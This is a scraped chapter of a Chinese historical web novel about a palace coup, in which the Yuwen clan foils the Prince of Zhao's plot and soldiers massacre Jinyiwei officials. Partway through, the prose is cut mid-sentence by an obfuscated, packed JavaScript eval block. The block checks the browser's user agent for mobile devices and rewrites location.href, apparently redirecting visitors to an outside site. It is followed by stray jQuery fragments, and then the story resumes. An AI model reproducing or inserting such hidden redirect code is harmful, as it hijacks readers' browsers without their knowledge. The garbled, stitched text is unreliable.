争朝若酒

108. 甘露

太尉府。


宇文沪与宇文泰穿着盔甲,整装待发。


皇宫,宣德殿。


宣景皇帝毫无生息地躺在床榻上。妃嫔宫人哭作一团。


太监肃喜宣读宣景皇帝遗诏:“朕以菲薄,嗣守祖宗基业,于兹三载,图惟化理,惟恐有辜先帝付托,乃今遘疾弥笃,殆不能兴。妃嫔以下无子者,悉放回家。皇太子冲,天性纯厚,刚正仁慈,宜嗣皇帝位。凡国家重务,皆上阴皇太后与太尉兼大司马宇文沪,大将军宇文泰,然后施行。中外大小臣僚各敬乃职,效忠嗣君。各卫及部节度使,兵士镇守宫及州县,悉心尽力,安抚军民,勿擅离职守,令其特使或幕僚或遣官代行。”


“太后请起。”太监童瑾搀扶阴绶起来。


窦欢与婕妤窦媖无所适从。


“慢!”窦欢慢慢起来,“宣景皇帝对哀家的安排呢?”


“您稍后。”童瑾皮笑肉不笑的,“大司马与大将军即刻就到。”


赵王府。


仆从跑回来,说:“王爷,陛下驾崩了!”


“好极了!”赵王刘本穿着盔甲,“一个妇人,一个小儿,不足为惧!”


“王爷,我们先去甘露宫。”司空曾达说。


“我们的内应在皇宫里?”赵王问道。


“是的。”司空曾达握着拳头,“我们抢先一步进入皇宫,撕毁宣景皇帝遗诏,杀了皇后与太子。天下就是您的了!”


太尉府。


太监肃喜进入太尉府。


“奴家见过大司马,大将军。”太监肃喜行礼如仪,“陛下驾崩。阴太后命你们即刻进宫。”


“你先带肃喜公公喝喝茶。”宇文沪看向管家。


肃喜微微欠身,跟着管家离开。


校事府知事尤帘大步流星进入太尉府。


“校事府尤帘见过大司马,大将军。”尤帘行礼如仪,“赵王刘本已经带着左右千牛卫从赵王府出发,现在准备进入甘露宫。”


郭济看向地图,说:“主公,赵王府距离甘露宫不到十五米。看来是要常康开城门了。”


宇文沪沉默不语。


“主公。”小厮飞快跑来,“外面一军士求见,自称是常康将军的人。”


“快请。”宇文沪说。


“末将见过大司马,见过大将军。”一个军士说道,“常将军在未央宫的侧门留了一知心人,大司马的军队可从未央宫侧门进,直扑甘露宫。”


郭济再次看向地图,然后说:“甘露宫与未央宫相距不远。”


“泰儿,你带着三千兵士从未央宫左侧门包围,直扑甘露宫,活捉赵王刘本。”宇文沪吩咐说道。


“是。”宇文泰领命而去。


“郭济,你带着校事府校事,以及一千兵士,包围赵王府,扣留赵王妃及司空曾达等人。”宇文沪吩咐。


“是。”郭济离开。


“廖画,你带着五千兵士,直扑锦衣卫,就地屠杀锦衣卫吏员。”宇文沪说道。


“遵命。”廖画离开。


廖画是左右卫从三品将军。


“邓主,你带领一千兵士,包围吴家,活捉大理寺卿吴升,吴家女眷就地扣押。”宇文沪说。


邓主领命而去。


“左右威卫,原地待命。”宇文沪站起身来,“等金吾卫信号烟花。”


皇宫,甘露宫。


刘本得意洋洋地来到甘露宫。


开门的人是左羽林将军常康。


常康的手背藏着血。


“子客,没什么异样吧?”刘本问道。


“深宫妇人都哭作一团。右卫都在布置丧事,大概就3000人左右。”常康说,“左右千牛卫都有5000人,还有你们赵王府500名军士。”


刘本哈哈大笑。


“打仗从来不是人少就能胜利的。”刘本说。


“是的。”常康拧着两颗脑袋,“大将军,鱼饵已经入套了。捕网了。”


两颗脑袋都是左右羽林大将军。


宇文泰带着人马从未央宫左侧门杀出,左右羽林从右侧门杀出。


左右千牛卫变成瓮中之鳖。


“千牛卫的兄弟们,你们跟着刘本就是犯上作乱!”宇文泰叫喊,“嗣子刘冲即位,会嘉奖你们的!只要你们活捉刘本,圣上仁慈,一切既往不咎!”


千牛卫乱作一团,纷纷将兵刃指向赵王刘本。


刘本心如刀绞,只能放下兵刃。


左右千牛卫及左右羽林军兵士纷纷跪下,说:“见过大将军。”


宇文泰骑着高头大马,说:“常康,带着羽林军包围未央宫,将窦欢及窦媖就地拘押,一切等大司马进宫之后再作商议。”


“左右千牛卫,左金吾卫进入皇宫,左金吾卫与右千牛卫保护皇帝,太后阴绶。”宇文泰吩咐说道,“左千牛卫在皇宫巡逻,等大司马进宫。”


“是。”常康与左右千牛卫,左金吾卫分别领命。


金吾卫士兵将刘本绑成一个粽子,押回赵王府。


郭济带领兵士,活捉赵王妃,司空曾达家人,以及赵王府其余女眷。


宇文泰骑着马带着右金吾卫飞奔出皇宫。


锦衣卫。


松青姑姑满面伤痕地出了宫,骑着马,来到锦衣卫。


“陈指挥使,陈指挥使。”松青姑姑叫着,“陈吉,陈吉。”


锦衣卫指挥使应声而出,看见松青一副狼狈相,问:“姑姑你怎么了?”


“太后有危险,宇文沪要杀她!”松青姑姑说。


“这......”陈吉满面愁容。


两人正在对话时,廖画带着人悄无声息地进入锦衣卫。


一个经历司吏员将誊写好的文件拿去勘对,一个兵士从背后拿刀刺进他的脖颈。


咔嚓——咔嚓——


吏员捂着脖子,看看身后的左卫兵士,他忍不住地流血,大口大口地吐血。


血开始泄了一地。


锦衣卫的末日就要开始了。


卫昕正准备校对资料,听见外面的叫喊声。


然后她看见窗棂的血一层层映在上面。


宇文泰正要出城。


“你们巡逻金城内外,任何人进出不得。城门关闭。”宇文泰看着私兵说。


“主子,主子。”余白骑着马,“太尉下令屠杀锦衣卫,廖画带着人过去了,张女郎在锦衣卫。”


余白是左金吾卫正七品下中候。


“你去锦衣卫,把她带出来。”宇文泰皱着眉头,“务必找着她,送回张宅。若是她出了任何差池,我要了你的命!”


说完,飞奔而驰。


卫昕眼神惊恐,她急忙锁住门。


她透过窗户看着一个个人影倒下,血肉模糊的。


卫昕手里拿着一把匕首。


邵海拍了拍她,说:“外面在杀人。”


“谁派来的?”卫昕问道。


“左右卫的吧。”邵海说,“皇帝驾崩了。现在外面乱作一团。谁敌谁友,我们都不知道。”


“外面都是血。”卫昕意识朦胧。


“云舒,你害怕血吗?”邵海安抚说道,“你之前查案,怎么不害


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036417|153058||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


怕了?你没什么事吧?”


卫昕不是害怕血,她是害怕宇文泰。这次兵变,她与他相知这么些月,她竟然不知道宇文家族下令屠杀锦衣卫,她以为只是太后。


她想得太过简单!


廖画带着兵士踹门而入。


卫昕与邵海站得笔直。


兵士杀红了眼,正要砍。刀锋抹到卫昕脖子,卫昕旋转一下,官帽掉落。


头发倾洒。


卫昕举着玉珠,拿着青水令牌,说:“我是宇文泰的人,我们都是宇文家族的门客。”


邵海与卫昕背靠背。


“太尉说了,锦衣卫的吏员格杀勿论。”廖画说。


就在此时,余白骑着马,冲进锦衣卫经历司。


卫昕感到腿软,邵海连忙搀扶她。


“左金吾卫正七品下中候余白,见过廖将军。”余白行礼如仪,“张依是我们主子的心上人,且邵公子是主子的朋友。我们疏忽了,一时没有与左卫的兄弟说。”


“失礼。”廖画说,“刚才多有得罪,让女郎受惊了。”


“女郎,主子让我送你回张宅。”余白说道。


“有劳了。”卫昕点点头。


邵海与余白搀扶卫昕出了门。卫昕看着地上全部都是尸体,血迹残留一地,卫昕的靴子都沾满了血。吏员的残肢残体,面目全非,散散满满。


卫昕联想到她熙宁二年,六月。那日她收拾卫炎的残片,一片片的,薄薄的,连着肉,连着血。


她的手都是血。


她想吐。


卫昕看着,看着,晕过去了。


“云舒,你怎么了?”邵海摇着她,“云舒!”


吴宅。


左右武卫大将军邓主带领左右武卫包围吴宅。


大理寺卿吴升正襟危坐。


“吴升,你伙同益州刺史南宫洁与司空曾达,图谋造反,拥立章德皇帝第四子赵王刘本为帝。”邓主坐在位置上,“刘本已经捉拿,现在就轮到你了。”


“成王败寇,我没什么说的。”吴升浅浅地笑。


“来人,将吴升带进御史台。其余人就地拘禁。”邓主说。


武卫兵士带领着吴升离开吴宅。


酉时。


益州兵士乘着船只,来到金城。


街面上,铺子都是关门大吉。


“不对劲?”南宫洁说,“我感觉好像不对劲。”


他一转过身来,宇文泰已经在等着他。


穿着盔甲的宇文泰显得威风凛凛。


“南宫洁,皇帝驾崩,你身为刺史,来到金城。”宇文泰眼神流转,“想叛乱吗?”


右金吾卫弓箭纷纷对准他们。


“不不不。”南宫洁摇摇头,“怎么会?”


弓箭已经不容他在辨别了。


一时间,天好像下着箭雨,墨黑的天空下着血红的雨,挥洒在永定河岸。


人仰马翻。


皇宫,未央宫。


窦欢与太婕妤窦媖穿着白色的丧服,妆容肃穆。


旁边的羽林军正在监视她们。


“常康,哀家要见宇文沪。”窦欢眼神冰冷,“宣景皇帝驾崩,这样拘禁着哀家,不合常理!”


“如今的太后是阴绶。”常康说,“你连太皇太后都不算,宣景皇帝对你有另外的安排。”


“拿出来。”窦欢说。


“您不要为难我们。”常康说,“那份遗诏在大司马手上,我们只是在保护你们!”


“保护?”窦欢问,“我们在未央宫,不能去宣德殿。这是什么保护?”